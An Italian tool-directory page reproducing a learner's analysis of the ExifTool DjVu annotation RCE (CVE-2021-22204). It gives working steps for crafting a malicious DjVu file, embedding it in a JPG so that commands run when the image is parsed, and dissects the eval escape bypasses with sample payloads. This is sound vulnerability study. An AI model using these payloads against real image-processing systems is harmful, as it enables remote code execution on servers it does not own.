Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-22204 | Kitploit
Strumenti/GitHubGitHub/trganda/cve-2021-22204
Analisi delle VulnerabilitàAnalisi del CodiceExploitPaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHubtrganda/cve-2021-22204

CVE-2021-22204

Vedi Repository
34 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Vulnerabilità di esecuzione remota di codice in ExifTool

Questo dovrebbe essere un articolo di analisi di CVE-2021-22204, ma è più che altro un mio quaderno di appunti, pieno di cose sparse e disordinate. Per un articolo di analisi di vulnerabilità può sembrare pieno di divagazioni, ma mi ha fatto imparare molto.

A dire il vero, non ho mai usato questo strumento e non avevo quasi mai avuto a che fare con il linguaggio Perl, quindi durante l'analisi e persino nella riproduzione avevo la mente piena di punti interrogativi. Prima di iniziare l'analisi, diamo un'occhiata ai PoC già pubblicati online e ai dubbi che avevo.

POC - convisolabs

L'articolo che ho visto è [1], che introduce brevemente la causa della vulnerabilità, ma poiché non capisco il codice Perl, molti punti non mi sono chiari. Il processo di riproduzione è il seguente:

Scarica exiftool versione 12.23

root@kitploit:~
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip

Decomprimi e installa

root@kitploit:~
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install

Naturalmente, se non vuoi installarlo, puoi semplicemente mettere il file exiftool nella directory di exiftool-12.23 in una directory raggiungibile dalle variabili d'ambiente, così puoi usare direttamente lo strumento exiftool, perché Perl è un linguaggio interpretato, simile a Python.

Per creare un'immagine maliziosa, installa prima gli strumenti necessari

root@kitploit:~
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin

Esegui il comando seguente per creare un file djvu malizioso

root@kitploit:~
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# Questa è la parte che mi ha confuso di più: non capisco perché serva comprimere (perché altri PoC non lo richiedono)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Qualsiasi cosa nel formato 'N,N' dove N è un numero
# BGjp = Si aspetta un'immagine JPEG, ma possiamo usare /dev/null per non usare alcuna immagine di sfondo
# ANTz = Scriverà il chunk di annotazione compresso con il file di input

Poi, analizzando il file malizioso con lo strumento exiftool, si nota che il comando id viene eseguito con successo

root@kitploit:~
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

Quando prima si creava un file in formato djvu con il comando djvumake, si poteva evitare di comprimere il payload? Dal punto di vista dell'analisi non sarebbe comodo da visualizzare e testare. Certo che si può: basta sostituire il parametro ANTz con ANTa. Per ANTz e ANTa si può fare riferimento alla documentazione di exiftool [3], ma non sono comunque riuscito a trovare il loro significato specifico, perché non ho trovato una documentazione standard.

Qui voglio anche lamentarmi: volevo usare man djvumake per vedere la spiegazione dei parametri, ma non c'è alcuna spiegazione di ANTz e ANTa. La data del documento è il 2001, non è stato aggiornato da molto tempo.

Tag IDTag NameWritable
'ANTa'ANTa-
'ANTz'CompressedAnnotation-

ANTa indica che Annotation viene memorizzato in chiaro all'interno di metadata nel file djvu, mentre ANTz è il formato compresso bzz.

Ma i file in formato djvu non sono comuni, specialmente nei siti web dove si caricano immagini: la maggior parte accetta solo file png/jpg/jpeg. Quindi sarebbe bello poter trasformare un file djvu malizioso in un file jpg.

Lo strumento exiftool può aiutarci a modificare il contenuto delle immagini: basta inserire il file djvu malizioso nella posizione appropriata di un file jpg. Quanto alla posizione esatta e al motivo per cui può essere quella, lo spiegherò più avanti nell'analisi.

Crea un file di configurazione per exiftool chiamato eval.config

root@kitploit:~
%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        # 0xc51b corrisponde al Tag 'HasselbladExif'[6]
        0xc51b => {
            # Il nome può essere scelto liberamente, è il nome del parametro ricevuto
            Name => 'HasselbladExif',
            # Tipo di variabile scrivibile
            Writable => 'string',
            # A quale Group[7] dei metadata appartengono i dati scritti
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end

Per la sintassi dei file di configurazione di exiftool, fare riferimento a [4][5]. Poi prendi un normale file immagine jpg chiamato poc.jpg ed esegui il comando seguente

root@kitploit:~
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg

Analizzando di nuovo poc.jpg con exiftool, il comando viene eseguito con successo

root@kitploit:~
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

Analisi della vulnerabilità

Il processo di analisi seguente fa riferimento al contenuto di [2]. Le versioni interessate dalla vulnerabilità sono exiftool < 12.24 e il file che la causa è

root@kitploit:~
lib/Image/ExifTool/DjVu.pm (line 202)

Il codice della funzione coinvolta è il seguente

root@kitploit:~
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    my $dataPt = shift;
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

Non avendo mai avuto a che fare con il linguaggio Perl, a dir la verità non ho capito quasi nulla di cosa faccia questo codice. Fortunatamente i commenti molto chiari aiutano a capire la funzione. Dai commenti della funzione, essa serve a parsare i dati di annotation nei file djvu, e dalla struttura del codice si vede che è ricorsiva e che i dati di annotation sono delimitati da parentesi ().

Espressioni regolari in Perl

Per capire meglio il codice e anche per imparare, qui introduco brevemente l'uso delle espressioni regolari in Perl.

L'uso delle regex in Perl è particolare e diverso dai linguaggi con cui ho avuto a che fare prima. In Perl le regex hanno tre forme:

  • Match m//, la m può essere omessa
  • Sostituzione s///
  • Traslitterazione tr///

Tra // c'è l'espressione regolare o la stringa, ma i delimitatori possono essere anche {} e non solo //, questa è una caratteristica del Perl.

Vediamo prima un esempio di codice di match

root@kitploit:~
#!/usr/bin/perl

$str = "this is a string";
$str =~ /this/;

print $str;
print "\n";

In Perl si può usare l'operatore =~ per usare le espressioni regolari. Il codice sopra, che la regex corrisponda o no, stampa $str e l'output sarà sempre this is a string. Ma se la regex non corrisponde, restituisce il booleano false.

root@kitploit:~
#!/usr/bin/perl

$str = "this is a string";
if ($str =~ /this12/) {
    print "true\n";
} else {
    print "false\n";
}

Se vuoi sostituire il contenuto di una variabile stringa, puoi fare così

root@kitploit:~
#!/usr/bin/perl

$str = "this is a string";
# oppure $str =~ s{string}{str};
$str =~ s/string/str/;


print $str;
print "\n";

# output
# this is str

Usare la sostituzione modifica direttamente il valore della variabile.

Ora che conosciamo le espressioni regolari in Perl, torniamo alla funzione di prima

root@kitploit:~
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    # Ottiene il parametro passato (è un riferimento)
    my $dataPt = shift;
    print($$dataPt);
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            # Se incontra una parentesi aperta, elabora ricorsivamente
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                # Ottiene la posizione dell'ultima corrispondenza della regex; arrivati qui, questa posizione è quella della prima virgoletta
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                # Corrisponde di nuovo alla posizione della virgoletta chiusa e estrae il contenuto tra le virgolette
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                print($tok."\n");
                # we're good unless quote was escaped by odd number of backslashes
                # Controlla se il numero di backslash è dispari, per evitare che in qq{""} successivo la " a fine riga venga escapata
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                # Se è dispari, aggiunge un carattere "
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            print(qq{"$tok"}."\n");
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

Per capire meglio, serve un file adatto che faccia eseguire questa funzione durante l'analisi di exiftool. Possiamo costruire un file djvu chiamato exploit.djvu come prima, con payload

root@kitploit:~
(metadata (Author "trganda"))

Poi aggiungiamo alcune print nei punti chiave della funzione ParseAnt($) per stampare informazioni, come sopra. Quindi, nella directory dei sorgenti di exiftool, esegui

root@kitploit:~
$ ./exiftool you_path_to/exploit.djvu
(metadata (Author "trganda"))
(metadata (Author "trganda"))
(metadata (Author "trganda"))
trganda
"trganda"
... ignore

Da qui si vede che il contenuto finale passato a eval è, attenzione, le doppie virgolette non vanno trascurate.

root@kitploit:~
"trganda"

E se sostituissimo trganda con la funzione system per eseguire comandi? Proviamo a vedere

root@kitploit:~
$tok = "${system('id')};";
# output
# "\${system('id')};"

Eseguendo si scopre che l'output è solo il testo passato, il codice non viene eseguito, perché $ viene sostituito con \$

root@kitploit:~
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;

Allora come fare per aggirare questa limitazione? Questo problema va affrontato passo dopo passo. L'autore di [2], durante i test, ha usato il payload seguente.

root@kitploit:~
(metadata (Author "a\
""))

L'output dopo l'esecuzione è il seguente, eval ha sollevato un'eccezione.

root@kitploit:~
(metadata (Author "a\
""))
(metadata (Author "a\
""))
(metadata (Author "a\
""))
a\

a\
"
"a\
""
String found where operator expected at (eval 8) line 2, at end of line
        (Missing semicolon on previous line?)

Qui spiego cosa succede con questo payload, concentrandoci sul secondo ciclo for

root@kitploit:~
# Il contenuto di Annotation di Author è, non dimenticare \n
"a\(\n)
""
# Nel ciclo for, al primo taglio della sottostringa, $tok ottiene questo contenuto, perché la prima regex corrisponde alla prima doppia virgoletta e la seconda alla prima doppia virgoletta della seconda riga
a\(\n)
# Poi il codice controlla se il numero di \ a fine riga è dispari; se lo è, aggiunge una ",
# e nella regex $tok =~ /(\\+)$/, il simbolo $ corrisponde a \n, non alla fine del testo.
# Così viene eseguito il codice successivo, aggiungendo una " alla fine di $tok.
a\(\n)"
# Al secondo ingresso nel ciclo, si estrae la sottostringa, ottenendo il contenuto tra le "" della seconda riga, ma qui è vuoto; dopo la concatenazione con $tok il risultato è lo stesso di prima
a\(\n)"
# Poi il contenuto eseguito da eval è
qq{"$tok"} -> "a\(\n)""
# Dopo l'esecuzione di eval, c'è un errore, perché " non è chiusa
String found where operator expected at (eval 8) line 2, at end of line
        (Missing semicolon on previous line?)

Per la logica di esecuzione di eval in Perl, consiglio di fare riferimento alla documentazione ufficiale [9]. Tuttavia, poiché alcune cose non sono menzionate nella documentazione e non ho mai usato Perl, all'inizio non riuscivo a capire alcune parti. Ho dovuto fare continuamente test con esempi di codice per capire alcune logiche di eval. Qui di seguito menzionerò alcune cose utili per capire questa vulnerabilità, prima di passare al vero processo di esecuzione del payload.

eval in Perl

In Perl, eval oltre a eseguire frammenti di codice può anche catturare eccezioni senza interrompere l'esecuzione del programma. eval può ricevere costanti stringa, variabili stringa oppure codice direttamente per essere analizzato ed eseguito.

root@kitploit:~
# Costante stringa
eval "system('id')";
# Variabile
$cm = "system('id')";
eval $cm;
eval "$cm";
# Esecuzione diretta di codice
eval {system('id');};
# output
# uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)

La strategia di esecuzione di eval è quella di restituire solo il risultato dell'ultima sotto-istruzione; cioè se ci sono più pezzi di codice, prende solo l'ultimo risultato, come nell'esempio seguente

root@kitploit:~
eval "system('id'); system('date');"
# output
# 2021年 11月 04日 星期四 11:49:22 CST

Quando eval esegue un'istruzione che fallisce, il codice successivo non viene più eseguito e viene sollevata un'eccezione (se presente).

Ritornando al payload di prova di prima, c'è qualcosa da notare? Se riusciamo a chiudere correttamente la " e a mettere il codice da eseguire tra le " della seconda riga, il codice potrà essere eseguito da eval. L'autore di [2] ha dato questa forma

root@kitploit:~
(metadata
    (Author "\
" . return `date`; #")
)
# Il contenuto finale passato a eval è
"\
" . return `date`; #"

Allora come interpretare questa parte eseguita da eval? Prima di tutto, l'operatore . in Perl serve a concatenare stringhe, quindi verrà eseguito prima

root@kitploit:~
return `date`;

e poi il risultato verrà concatenato con \(\n). In realtà, anche senza return, il comando date verrebbe comunque eseguito, e la " finale è commentata.

Naturalmente si può scrivere anche così

root@kitploit:~
(metadata (Author "\
"; return `date`; #"))
# Il contenuto finale passato a eval è
"\
"; return `date`; #"

In questo modo, eval prima analizza "\(\n)";, questa parte verrà interpretata come una stringa, poi continua ad analizzare le istruzioni successive, quindi il comando date viene eseguito con successo.

Dopo l'esecuzione del payload sopra, vedrai un risultato come questo, dove si nota che è stato eseguito con successo.

root@kitploit:~
Useless use of a constant ("\n") in void context at (eval 8) line 1.
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
...
Author                          : 2021年 11月 04日 星期四 15:22:05 CST.
...

Altri metodi di bypass

A questo punto sono un po' stanco. Il payload fornito dall'autore di [2] aggira la " e funziona perfettamente. Ma ci sono altri modi? In realtà, riguardando il contenuto iniziale di [1], la risposta c'è già

root@kitploit:~
(metadata "\c${system('id')};")

Bisogna sapere che la funzione ParseAnt($) sostituisce il simbolo $, quindi non può essere eseguito direttamente con successo. Allora perché questo funziona? Ti sei chiesto a cosa serve \c? Prima di tutto, costruendo un file djvu con questo payload e analizzandolo con exiftool, il contenuto passato a eval è

root@kitploit:~
"\c\${system('id')};"

Senza \c, invece

root@kitploit:~
"\${system('id')};"

questo codice non verrebbe eseguito; il risultato finale sarebbe solo una stringa, perché il simbolo $ è escapato. Il ruolo di \c è proprio quello di annullare l'effetto del \ davanti a $, permettendo al codice successivo di essere eseguito. Anche in Perl ci sono molti caratteri di escape, e \c è uno di questi, ma non si usa da solo: va usato insieme a un carattere qualsiasi.

Carattere di escapeSignificato
\cXCarattere di controllo, X può essere qualsiasi carattere

È proprio per questo che \c\ viene interpretato come altro contenuto, permettendo al codice successivo di essere eseguito.

Altri formati di file

I file maliziosi costruiti finora sono limitati al formato djvu. Sarebbe più significativo se si potesse costruire un formato di file comune, come un'immagine jpg. Per raggiungere questo obiettivo, bisogna trovare quali file, durante l'analisi, chiamano la funzione vulnerabile ParseAnt($).

Cercando all'indietro, si scopre che ProcessAnt($$$) chiama ParseAnt($), ma risalendo ancora non si trova direttamente.

root@kitploit:~
ProcessAnt($$$)
	|
	v
 ParseAnt($)

Poiché nel linguaggio Perl esiste un meccanismo di caricamento dinamico dei moduli, possiamo provare a vedere dove viene caricato il file DjVu.pm.

1636264024890.png

Dai file trovati, controllando uno a uno, si vede che in lib/Image/ExifTool.pm alla line 2620 c'è il codice seguente che decide quale modulo caricare in base al tipo di file per elaborare il file corrispondente.

root@kitploit:~
#------------------------------------------------------------------------------
# Extract meta information from image
# Inputs: 0) ExifTool object reference
#         1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
	# ...
	        my $module = $moduleName{$type};
            $module = $type unless defined $module;
            my $func = "Process$type";

            # load module if necessary
            if ($module) {
                require "Image/ExifTool/$module.pm";
                $func = "Image::ExifTool::${module}::$func";
            } elsif ($module eq '0') {
                $self->SetFileType();
                $self->Warn('Unsupported file type');
                last;
            }
	# ...
}

Poi, continuando a cercare dove viene chiamato ExtractInfo($;@), si trovano più punti; l'attenzione principale va al codice in lib/Image/ExifTool/Exif.pm alla line 3004

root@kitploit:~
# main EXIF tag table
%Image::ExifTool::Exif::Main = (
    GROUPS => { 0 => 'EXIF', 1 => 'IFD0', 2 => 'Image'},
    WRITE_PROC => \&WriteExif,
    CHECK_PROC => \&CheckExif,
    WRITE_GROUP => 'ExifIFD',   # default write group
    SET_GROUP1 => 1, # set group1 name to directory name for all tags in table
    # ...
	0xc51b => { # (Hasselblad H3D)
        Name => 'HasselbladExif',
        Format => 'undef',
        RawConv => q{
            $$self{DOC_NUM} = ++$$self{DOC_COUNT};
            $self->ExtractInfo(\$val, { ReEntry => 1 });
            $$self{DOC_NUM} = 0;
            return undef;
        },
    },
    # ...
);

%Image::ExifTool::Exif::Main è una tabella in formato Map, e la funzione di Exif.pm, come scritto nei commenti, serve a leggere le informazioni metadata conformi allo standard EXIF/TIFF

Description: Read EXIF/TIFF meta information

In realtà, durante la riproduzione precedente avevo già visto %Image::ExifTool::Exif::Main, ma all'epoca non capivo cosa significasse 0xc51 né perché dovesse essere proprio quel valore. Ora so che se le informazioni metadata nel file contengono un contenuto con id 0xc51, questo verrà analizzato dalla funzione ExtractInfo e arriverà gradualmente alla funzione vulnerabile.

Quindi, prima, sfruttando la potente funzionalità di personalizzazione di exiftool, ho scritto un file di configurazione, ho personalizzato un normale file jpg inserendo il tipo di metadata 0xc51b con dentro il contenuto malizioso. A questo punto, l'intero processo di innesco è sostanzialmente chiaro e i miei dubbi sono stati risolti. L'autore di [2] ha anche mostrato il modo di inserire dati maliziosi in file di altri formati, con un approccio simile.

Soluzione

Guarda il diff su GitHub, il risultato è il seguente

diff

Riferimenti

[1] A case study on: CVE-2021-22204 - Exiftool RCE (convisoappsec.com)

[2] ExifTool CVE-2021-22204 - Arbitrary Code Execution | devcraft.io

[3] TagNames of DjVu

[4] TagNames Explan

[5] Exiftool User Defined Configuration File

[6] EXIF

[7] Groups

[8] exiftool-arbitrary-code-execution

[9] eval in Perl

Scarica lo strumento